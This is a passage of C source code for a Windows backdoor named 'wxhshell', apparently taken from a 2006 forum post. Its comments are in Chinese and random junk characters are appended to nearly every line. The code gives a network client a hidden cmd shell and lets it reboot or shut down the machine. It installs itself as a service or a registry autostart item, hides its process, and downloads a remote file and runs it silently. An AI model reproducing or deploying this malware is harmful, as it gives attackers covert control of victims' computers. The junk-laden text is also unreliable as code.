    switch(cmd[0]) { 8 )mjy!,  
  -7I1Lh#M  
  // 帮助 #ox9&  
  case '?': { dU ,)TKQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $bZu^d,  
    break; oNuPP5d[]  
  } \6SMn6a4  
  // 安装 6.U  "_%  
  case 'i': { )@Zc?Da  
    if(Install()) C#Hcv*D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~5r=FF6  
    else I(OAEIz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QN_)3lm  
    break; aJ :A%+1  
    } 9Qzjqq:"Li  
  // 卸载 y Y>-MoF/t  
  case 'r': { 1 [Sv  
    if(Uninstall()) YVB% kKv{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =PNdP  
    else ]{IR&{EI-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lx{.H,1~  
    break; &GdL 9!hH  
    } r]k*7PK  
  // 显示 wxhshell 所在路径 B*?ZE4`  
  case 'p': { Hva2j<h  
    char svExeFile[MAX_PATH]; &l. x:eD  
    strcpy(svExeFile,"\n\r"); 5-8]N>/b!  
      strcat(svExeFile,ExeFile); (O8,zqP9l  
        send(wsh,svExeFile,strlen(svExeFile),0); L!;^ #g  
    break; M!N` Orz  
    } ;".z[l*  
  // 重启 81g9ZV(4  
  case 'b': { l60ikc4$I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g!1I21M1~  
    if(Boot(REBOOT)) \f(Y:}9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C(-[ Y!  
    else { aGPqh,<QD  
    closesocket(wsh); Q0V^PDF  
    ExitThread(0); H1` rM^,%A  
    } \#PP8  
    break; B/jrYT$;m  
    } Ln ~4mN^  
  // 关机 <1aa~duT  
  case 'd': { uuu\f*<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IWAj Mwo  
    if(Boot(SHUTDOWN)) 7{n\y l?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f;.SSiT  
    else { zzX<?6MS  
    closesocket(wsh); \Y*!f|=of  
    ExitThread(0); 9c#lLKrzG  
    } 6#<Ir @z  
    break; c}\ ' x5:o  
    } U? 8i'5)  
  // 获取shell $"Afy)Ir  
  case 's': { fO*)LPen.z  
    CmdShell(wsh); VR "u*  
    closesocket(wsh); hIR@^\?  
    ExitThread(0); qh%i5Mu  
    break; oG!6}5  
  } ~6p5H}'H1  
  // 退出 6 |QTS|!  
  case 'x': { /sy-;JDnsu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); csYy7uzi  
    CloseIt(wsh); ucw`;<d8  
    break; 7g-Dfg.w  
    } 4Mk8Cpz  
  // 离开 Y|mW.  
  case 'q': { 1{^CfamF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x'@W=P 7   
    closesocket(wsh); R;WW f.#  
    WSACleanup(); Q-[3j  
    exit(1); a;%I\w;2  
    break; w{3ycR  
        } u[)_^kIE(n  
  } W:WQaF`2x  
  } v' C@jsx M  
sr\cVv")  
  // 提示信息 UanEzx%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yKYl@&H/%  
} @9aGz6k+  
  } *\D}eBd|  
F"I*-!o  
  return; y>`5Kyj3-@  
} kL|\wci  
1t.R+1[c  
// shell模块句柄 sa G8g  
int CmdShell(SOCKET sock) }"hW b(  
{ z?)He)d  
STARTUPINFO si; #*^e,FF<  
ZeroMemory(&si,sizeof(si)); K!p,x;YX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cM3jnim  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0*/kGvw`i  
PROCESS_INFORMATION ProcessInfo; +,z) #  
char cmdline[]="cmd"; $%=G[/i'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); / $_M@>  
  return 0; JRXRi*@  
} Apmw6cc  
K U $`!h  
// 自身启动模式 SyAo, )j  
int StartFromService(void) E4=qh1d  
{ n&$/Q$d&  
typedef struct Bhe{L?}0  
{ fH[Wkif  
  DWORD ExitStatus; )9B:Y;>)  
  DWORD PebBaseAddress; FNC[59   
  DWORD AffinityMask; 1eHe~p ,  
  DWORD BasePriority; i3P9sdTD  
  ULONG UniqueProcessId; Hs$'0:  
  ULONG InheritedFromUniqueProcessId; `^x9(i/NE  
}   PROCESS_BASIC_INFORMATION; H'Nq#K  
-G-3q6A  
PROCNTQSIP NtQueryInformationProcess; BKay*!'PX  
uaaf9SL?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J:AMnUOcDi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QjJfE<h  
FIS "Z(  
  HANDLE             hProcess; {rDq_^  
  PROCESS_BASIC_INFORMATION pbi; JGis"e  
s9i|mVtm8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q*bt4,D&Es  
  if(NULL == hInst ) return 0; a~opE!|m  
BZ+;n |<r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6WeM rWx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !p',Za   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7 \X$7  
{~_ Y _-  
  if (!NtQueryInformationProcess) return 0; Bd&`Xfebj  
WI&lj<*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gw+eM,Yp  
  if(!hProcess) return 0; gfN2/TDC]P  
epkD*7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R!6=7  
6]n/+[ ks  
  CloseHandle(hProcess); o/^1Wm=  
\J3/keL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u%B&WwHG  
if(hProcess==NULL) return 0; ;|HL+je;Z  
Z7z]2v3}c  
HMODULE hMod; :IZ"D40m"  
char procName[255]; JYJU&u  
unsigned long cbNeeded; wXbsS)#/  
N}x9N.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xb,T{.3@  
)M:)y  
  CloseHandle(hProcess); ;&S;%W>|  
 q=4Bny0  
if(strstr(procName,"services")) return 1; // 以服务启动 \k; n20\u  
<<,>S&/  
  return 0; // 注册表启动 mp1ttGUtM  
} QIK 9  
R,,Qt TGB  
// 主模块 : G=FiC  
int StartWxhshell(LPSTR lpCmdLine) t7*#[x)a  
{ cU8xUpq  
  SOCKET wsl; ||Y<f *  
BOOL val=TRUE; ~=cmM  
  int port=0; S&wzB)#'  
  struct sockaddr_in door; S-c ^eLzQ  
pO]8 dE0  
  if(wscfg.ws_autoins) Install(); j_GBH8 `  
o\!qcoE2W  
port=atoi(lpCmdLine); #]Y*0Wzpfn  
y}"7e)|t%  
if(port<=0) port=wscfg.ws_port; /pykW_`/-  
?\y%]1  
  WSADATA data; |<c WllN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5jZiJw(  
E ]f)Os$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1m)M;^_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [>Fm [5x  
  door.sin_family = AF_INET; W5 ec  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #|f~s  
  door.sin_port = htons(port); FFvCi@oT  
NBOCt)C;H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r4Q|5kT*i  
closesocket(wsl); S|AjL Ng#  
return 1; O|'1B>X  
} L l}yJ#3,  
K 1W].(-@4  
  if(listen(wsl,2) == INVALID_SOCKET) { KY.ZT2k  
closesocket(wsl); 76@qHTh }  
return 1; Q2QY* A  
} n>FY?  
  Wxhshell(wsl); e|lD:_1i  
  WSACleanup(); i zwUS!5e  
 v~=\H  
return 0; #ekM"p  
ea9oakF  
} d5!!Ut  
J ^ G  
// 以NT服务方式启动 G;1?<3   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S v`qB'e2  
{ <Ef[c@3  
DWORD   status = 0; h-QLV[^  
  DWORD   specificError = 0xfffffff; e.vtEQV9  
J2M(1g)t9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r:g9Z_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +ts0^;QO2{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ue{xnjw>U  
  serviceStatus.dwWin32ExitCode     = 0; ,={t8lN  
  serviceStatus.dwServiceSpecificExitCode = 0; wT_h!W  
  serviceStatus.dwCheckPoint       = 0; (.23rVvnT@  
  serviceStatus.dwWaitHint       = 0; j.|U=)E  
7o]HQ[xO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XKU=oI0\j  
  if (hServiceStatusHandle==0) return; <<zI\+V  
^}$O|t  
status = GetLastError(); 5?u}#zO  
  if (status!=NO_ERROR) |yY`s6Uq  
{ NNkP\oh\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8@\7&C(g17  
    serviceStatus.dwCheckPoint       = 0; Qa4MZj ;$K  
    serviceStatus.dwWaitHint       = 0; ]A+o>#n}x  
    serviceStatus.dwWin32ExitCode     = status; Es4qPB`g.  
    serviceStatus.dwServiceSpecificExitCode = specificError; lpm JLH.F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r'4:)~]s  
    return; eJ@~o{,?>  
  } GbZ;#^S  
K=\O5#F?3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  jNyoN1M  
  serviceStatus.dwCheckPoint       = 0; #&8rcu;/  
  serviceStatus.dwWaitHint       = 0; 7Y( 5]A9=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P'$ `'J]j  
} u8L$]vOg  
I;MD>%[W,  
// 处理NT服务事件,比如:启动、停止 fiDl8=~@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V5mTu)tp5  
{ (6gK4__}]  
switch(fdwControl) )"<8K}%!  
{ :d,^I@]  
case SERVICE_CONTROL_STOP: ajH"Jy3A  
  serviceStatus.dwWin32ExitCode = 0; N#z~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cP>o+-)  
  serviceStatus.dwCheckPoint   = 0; m$2<`C=  
  serviceStatus.dwWaitHint     = 0; q1{H~VSn"  
  { ^{yk[tHpS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {2KFD\i\  
  } EL{vFP  
  return; nt :N!suP3  
case SERVICE_CONTROL_PAUSE: T)iW`vZg8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S4o$t -9l  
  break; tkKJh !Q7  
case SERVICE_CONTROL_CONTINUE: {6Au3gt/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rofNZ;nu  
  break; q_fam,9  
case SERVICE_CONTROL_INTERROGATE: iCQ>@P]nE  
  break; =:I+6PlF@  
}; ,H kj1x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z j{s}*  
} Yl^mAS[w&  
_}6q{}jn:c  
// 标准应用程序主函数 nv/[I,nw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7/Il L  
{ 3iNkoBCg  
$lwz-^1t.  
// 获取操作系统版本 )%Iv[TB[  
OsIsNt=GetOsVer(); _e<o7Y@_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T6BFX0$  
A#y@`} ]!'  
  // 从命令行安装 r,(Mu  
  if(strpbrk(lpCmdLine,"iI")) Install(); } p:%[  
>{zk qvsQ&  
  // 下载执行文件 x!< yT?A  
if(wscfg.ws_downexe) { |V,<+BEi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *f+: <=i  
  WinExec(wscfg.ws_filenam,SW_HIDE); /bRg?Q  
} Xl-e !  
:l\V'=%9'@  
if(!OsIsNt) { 8{ c!).  
// 如果时win9x,隐藏进程并且设置为注册表启动 [:EvTY  
HideProc(); ] ZoPQUS?  
StartWxhshell(lpCmdLine); BOVPKX  
} Q[4: xkU  
else fxQN+6;  
  if(StartFromService()) $iw%(H  
  // 以服务方式启动 %yS3&Ju  
  StartServiceCtrlDispatcher(DispatchTable); 3251Vq %  
else 1R%1h9I4'  
  // 普通方式启动 ro~+j}*   
  StartWxhshell(lpCmdLine); .?W5{U  
@z`@f"l  
return 0; JK_OZ  
}
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只看该作者 1 发表于: 2006-10-10
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